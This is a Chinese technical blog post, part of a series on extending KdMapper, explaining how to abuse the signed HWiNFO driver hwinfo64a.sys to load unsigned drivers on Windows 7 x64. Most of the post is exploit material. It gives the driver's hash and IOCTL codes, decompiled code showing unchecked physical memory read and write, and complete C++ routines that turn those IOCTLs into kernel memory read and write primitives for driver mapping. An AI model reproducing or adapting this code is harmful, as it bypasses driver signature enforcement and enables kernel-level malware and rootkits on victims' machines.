KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
| 驱动名称 | hwinfo64a.sys |
| 时间戳 | 54720A27 |
| MD5 | E5805896A55D4166C20F216249F40FA3 |
| 文件版本 | 8.98.0.0 |
| 设备名称 | \\.\HWiNFO32 |
| 读物理内存 | 0x85FE2608 |
| 写物理内存 | 0x85FE2668 |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
- NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
- {
- NTSTATUS result; // eax
- int v4; // ebx
- struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
- struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
- PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
-
- RtlInitUnicodeString(&DestinationString, L"\\Device\\HWiNFO32");
- result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
- if (result >= 0)
- {
- DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_113C0;
- DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_113C0;
- DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
- DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1370C;
- RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HWiNFO32");
- v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
- if (v4 >= 0)
- {
- Lock = 0i64;
- UnicodeString.Length = 0;
- ListHead.Blink = &ListHead;
- ListHead.Flink = &ListHead;
- UnicodeString.Buffer = 0i64;
- }
- else
- {
- IoDeleteDevice(DeviceObject);
- }
- result = v4;
- }
- return result;
- }
- __int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp, __int64 a3, __int64 a4)
- {
- _IO_STACK_LOCATION* pIosp; // r12
- unsigned int nIoControlCode; // eax
- NTSTATUS ntStatus; // ebx
- HWINFO64A_READ_PHYSICAL_MEMORY_INFO* pReadPhysicalMemoryInfo; // rbx
- PVOID pMappedIoSpace; // rax
- HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO* pWritePhysicalMemoryInfo; // rbx
- _DWORD* pMappedIoSpaceWrite; // rax
- struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+108h] [rbp-90h] BYREF
- struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+118h] [rbp-80h] BYREF
- struct _UNICODE_STRING DestinationString; // [rsp+148h] [rbp-50h] BYREF
-
- pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
- nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
- if (nIoControlCode > 0x85FE2658)
- {
- if (nIoControlCode <= 0x85FE2684)
- {
- case 0x85FE2668:
- pWritePhysicalMemoryInfo = (HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 写物理内存,一次一个DWORD大小
- pMappedIoSpaceWrite = MapIoSpaceList(pWritePhysicalMemoryInfo->PhysicalAddress, 4ui64);
- if (pMappedIoSpaceWrite)
- {
- *pMappedIoSpaceWrite = pWritePhysicalMemoryInfo->Data;
- ntStatus = 0;
- pIrp->IoStatus.Information = 16i64;
- }
- else
- {
- ntStatus = 0xC0000001;
- pIrp->IoStatus.Information = 0i64;
- }
- goto LABEL_389;
-
- case 0x85FE2608:
- pReadPhysicalMemoryInfo = (HWINFO64A_READ_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 读物理内存
- pMappedIoSpace = MapIoSpaceList(pReadPhysicalMemoryInfo->PhysicalAddress, pReadPhysicalMemoryInfo->nSize);
- if (pMappedIoSpace)
- {
- memmove(pReadPhysicalMemoryInfo->ReadBuffer, pMappedIoSpace, pReadPhysicalMemoryInfo->nSize);
- ntStatus = 0;
- pIrp->IoStatus.Information = 0x10010i64;
- }
- else
- {
- ntStatus = 0xC0000001;
- pIrp->IoStatus.Information = 0i64;
- }
- goto LABEL_389;
- }
- }
- LABEL_389:
- pIrp->IoStatus.Status = ntStatus;
- IofCompleteRequest(pIrp, 0);
- return (unsigned int)ntStatus;
- }
从 HWINFO64A_READ_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 复制数据到 ATILLK_PHYSICAL_MEMORY_INFO 的内容地址 ReadBuffer 。
由第 43 行的代码 pIrp->IoStatus.Information = 0x10010i64 可以看出,读取的代码的缓冲区大小为 0x10010,在实现代码逻辑时决定定义缓冲大小为 0x10010,实际的最大读取大小为 0x10000,方便处理。
从 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的内容 Data 复制数据到 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 。
由第 25 行可以看出每次写入物理地址的大小为一个 DWORD,对于数据量大的要分批进行写入。
- PVOID __fastcall MapIoSpaceList(PHYSICAL_ADDRESS PhysicalAddress, SIZE_T Size)
- {
- KIRQL oldIrql; // al
- _LIST_ENTRY* pListEntry; // rbx
- PVOID pMappedIoSpace; // rbx
- MAP_IO_SPACE_LIST_INFO* pListInfo; // rdx
-
- if (!PhysicalAddress.QuadPart || !Size)
- return 0i64;
- oldIrql = KeAcquireSpinLockRaiseToDpc(&Lock);
- pListEntry = ListHead.Flink;
- if (ListHead.Flink == &ListHead)
- {
- LABEL_7:
- KeReleaseSpinLock(&Lock, oldIrql);
- pMappedIoSpace = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
- if (pMappedIoSpace)
- {
- pListInfo = (MAP_IO_SPACE_LIST_INFO*)ExAllocatePoolWithTag(NonPagedPool, 0x28ui64, 0x4D4D4D4Du);
- if (pListInfo)
- {
- pListInfo->MappedAddress = pMappedIoSpace;
- pListInfo->Size = Size;
- pListInfo->PhysicalAddress = PhysicalAddress;
- ExInterlockedInsertTailList(&ListHead, &pListInfo->ListEntry, &Lock);
- return pMappedIoSpace;
- }
- }
- return 0i64;
- }
- while (pListEntry[1].Flink != (_LIST_ENTRY*)PhysicalAddress.QuadPart || (_LIST_ENTRY*)Size > pListEntry[1].Blink)
- {
- pListEntry = pListEntry->Flink;
- if (pListEntry == &ListHead)
- goto LABEL_7;
- }
- KeReleaseSpinLock(&Lock, oldIrql);
- return pListEntry[2].Flink;
- }
由代码可以看出该函数是调用 MmMapIoSpace 映射物理地址,然后加入一个链表,下次再映射相同地址时可以直接返回。同时该链表在驱动卸载时进行 MmUnmapIoSpace 取消映射。
由代码第 8 行可以看出,对于映射物理地址为 0 的时候返回失败,所以在最终代码中对于 0 地址的映射要跳过,或做其它相关判断的处理。
- 00000000 HWINFO64A_READ_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_381)
- 00000000 PhysicalAddress PHYSICAL_ADDRESS ?
- 00000008 nSize dd ?
- 0000000C ReadBuffer db ?
- 0000000D HWINFO64A_READ_PHYSICAL_MEMORY_INFO ends
- 00000000 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xC, copyof_384)
- 00000000 PhysicalAddress PHYSICAL_ADDRESS ?
- 00000008 Data dd ?
- 0000000C HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO ends
- 0000000 MAP_IO_SPACE_LIST_INFO struc ; (sizeof=0x28, copyof_387)
- 00000000 ListEntry LIST_ENTRY ?
- 00000010 PhysicalAddress PHYSICAL_ADDRESS ?
- 00000018 Size dq ?
- 00000020 MappedAddress dq ? ; offset
- 00000028 MAP_IO_SPACE_LIST_INFO ends
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
- #pragma pack(push)
- #pragma pack(1)
-
- typedef struct _HWINFO64A_READ_PHYSICAL_MEMORY_INFO
- {
- PHYSICAL_ADDRESS PhysicalAddress;
- ULONG Size;
- BYTE ReadBuffer[1];
- } HWINFO64A_READ_PHYSICAL_MEMORY_INFO, *PHWINFO64A_READ_PHYSICAL_MEMORY_INFO;
-
- typedef struct _HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO {
- PHYSICAL_ADDRESS PhysicalAddress;
- DWORD Data;
- } HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO, * PHWINFO64A_WRITE_PHYSICAL_MEMORY_INFO;
-
- #pragma pack(pop)
-
- #ifndef RtlOffsetToPointer
- #define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
- #endif
-
- #ifndef RtlPointerToOffset
- #define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
- #endif
-
-
- #define HWINFO64A_DEVICE_TYPE (DWORD)0x85FE
- #define HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x982
- #define HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x99A
-
- #define READ_BUFFER_SIZE (0x10010)
- #define READ_SIZE_LIMIT (0X10000)
-
- #define IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY \
- CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2608
-
- #define IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY \
- CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2668
- NTSTATUS realix_driver::SuperCallDriverEx(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG IoControlCode,
- _In_ PVOID InputBuffer,
- _In_ ULONG InputBufferLength,
- _In_opt_ PVOID OutputBuffer,
- _In_opt_ ULONG OutputBufferLength,
- _Out_opt_ PIO_STATUS_BLOCK IoStatus)
- {
- IO_STATUS_BLOCK ioStatus;
-
- NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
- NULL,
- NULL,
- NULL,
- &ioStatus,
- IoControlCode,
- InputBuffer,
- InputBufferLength,
- OutputBuffer,
- OutputBufferLength);
-
- if (ntStatus == STATUS_PENDING) {
-
- ntStatus = NtWaitForSingleObject(DeviceHandle,
- FALSE,
- NULL);
- }
-
- if (IoStatus)
- *IoStatus = ioStatus;
-
- return ntStatus;
- }
-
- BOOL realix_driver::SuperCallDriver(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG IoControlCode,
- _In_ PVOID InputBuffer,
- _In_ ULONG InputBufferLength,
- _In_opt_ PVOID OutputBuffer,
- _In_opt_ ULONG OutputBufferLength)
- {
- BOOL bResult;
- IO_STATUS_BLOCK ioStatus;
-
- NTSTATUS ntStatus = SuperCallDriverEx(
- DeviceHandle,
- IoControlCode,
- InputBuffer,
- InputBufferLength,
- OutputBuffer,
- OutputBufferLength,
- &ioStatus);
-
- bResult = NT_SUCCESS(ntStatus);
- SetLastError(RtlNtStatusToDosError(ntStatus));
- return bResult;
- }
-
- BOOL WINAPI realix_driver::SuperReadWritePhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes,
- _In_ BOOLEAN DoWrite)
- {
- BOOL bResult = FALSE;
- DWORD dwError = ERROR_SUCCESS;
-
- __try {
-
- if (DoWrite) {
- //写物理内存每次只能写四个字节
-
- DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
- DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
- HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO writeRequest = { 0 };
- DWORD dwIndex = 0;
- for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
- {
- DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(DWORD)));
- writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
- writeRequest.Data = dwData;
- bResult = SuperCallDriver(DeviceHandle,
- IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
- &writeRequest,
- sizeof(writeRequest),
- &writeRequest,
- sizeof(writeRequest));
- if (!bResult)
- {
- Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
- break;
- }
- }
- if ((dwLoopCount == 0) || (bResult))
- {
- if (dwRemainingSize != 0)
- {
- DWORD dwData = 0;
- ULONG ulBufferSize = READ_BUFFER_SIZE;/*sizeof(HWINFO64A_READ_PHYSICAL_MEMORY_INFO) + sizeof(DWORD);*/
- PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(ulBufferSize);
- RtlZeroMemory(pReadRequest, ulBufferSize);
- pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
- pReadRequest->Size = sizeof(DWORD);
- bResult = SuperCallDriver(DeviceHandle,
- IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
- pReadRequest,
- ulBufferSize,
- pReadRequest,
- ulBufferSize);
- if (bResult)
- {
- dwData = *((DWORD*)pReadRequest->ReadBuffer);
- RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(DWORD), dwRemainingSize);
-
- writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
- writeRequest.Data = dwData;
- bResult = SuperCallDriver(DeviceHandle,
- IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
- &writeRequest,
- sizeof(writeRequest),
- &writeRequest,
- sizeof(writeRequest));
- if (!bResult)
- {
- Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
- }
- }
- else
- {
- Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
- }
- free(pReadRequest);
- pReadRequest = NULL;
-
- }
-
- }
-
- }
- else {
- DWORD dwLoopCount = NumberOfBytes / READ_SIZE_LIMIT;
- DWORD dwRemainingSize = NumberOfBytes % READ_SIZE_LIMIT;
-
- DWORD dwIndex = 0;
- for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
- {
- PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
- RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
- pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
- pReadRequest->Size = READ_SIZE_LIMIT;
- bResult = SuperCallDriver(DeviceHandle,
- IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
- pReadRequest,
- READ_BUFFER_SIZE,
- pReadRequest,
- READ_BUFFER_SIZE);
- if (bResult)
- {
- RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, READ_SIZE_LIMIT);
- }
- else
- {
- Log(L"[!] Error Read Physical Memory 1 in ReadPhysicalMemory!" << std::endl);
- }
- free(pReadRequest);
- }
- if ((dwLoopCount == 0) || (bResult))
- {
- if (dwRemainingSize != 0)
- {
-
- PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
- if (pReadRequest)
- {
- RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
- pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
- pReadRequest->Size = dwRemainingSize;
- bResult = SuperCallDriver(DeviceHandle,
- IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
- pReadRequest,
- READ_BUFFER_SIZE,
- pReadRequest,
- READ_BUFFER_SIZE);
- if (bResult)
- {
- RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, dwRemainingSize);
- }
- else
- {
- Log(L"[!] Error Read Physical Memory 2 in ReadPhysicalMemory!" << std::endl);
- }
- free(pReadRequest);
- pReadRequest = NULL;
- }
- else
- {
- Log(L"[!] SuperReadWritePhysicalMemory read physical memory malloc failed!" << std::endl);
- }
- }
-
- }
- }
- }
- __except (EXCEPTION_EXECUTE_HANDLER) {
- bResult = FALSE;
- dwError = GetExceptionCode();
- Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
- }
-
-
- SetLastError(dwError);
- return bResult;
- }
-
- BOOL WINAPI realix_driver::SuperReadPhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_ PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- return SuperReadWritePhysicalMemory(DeviceHandle,
- PhysicalAddress,
- Buffer,
- NumberOfBytes,
- FALSE);
- }
-
- BOOL WINAPI realix_driver::SuperWritePhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- return SuperReadWritePhysicalMemory(DeviceHandle,
- PhysicalAddress,
- Buffer,
- NumberOfBytes,
- TRUE);
- }
-
- BOOL WINAPI realix_driver::SuperWriteKernelVirtualMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR Address,
- _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- BOOL bResult;
- ULONG_PTR physicalAddress = 0;
-
- SetLastError(ERROR_SUCCESS);
-
- bResult = SuperVirtualToPhysical(DeviceHandle,
- Address,
- &physicalAddress);
-
- if (bResult) {
-
- bResult = SuperReadWritePhysicalMemory(DeviceHandle,
- physicalAddress,
- Buffer,
- NumberOfBytes,
- TRUE);
-
- }
-
- return bResult;
- }
-
- BOOL WINAPI realix_driver::SuperReadKernelVirtualMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR Address,
- _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- BOOL bResult;
- ULONG_PTR physicalAddress = 0;
-
- SetLastError(ERROR_SUCCESS);
-
- bResult = SuperVirtualToPhysical(DeviceHandle,
- Address,
- &physicalAddress);
-
- if (bResult) {
-
- bResult = SuperReadWritePhysicalMemory(DeviceHandle,
- physicalAddress,
- Buffer,
- NumberOfBytes,
- FALSE);
-
- }
-
- return bResult;
- }
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

使用hwinfo64a.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。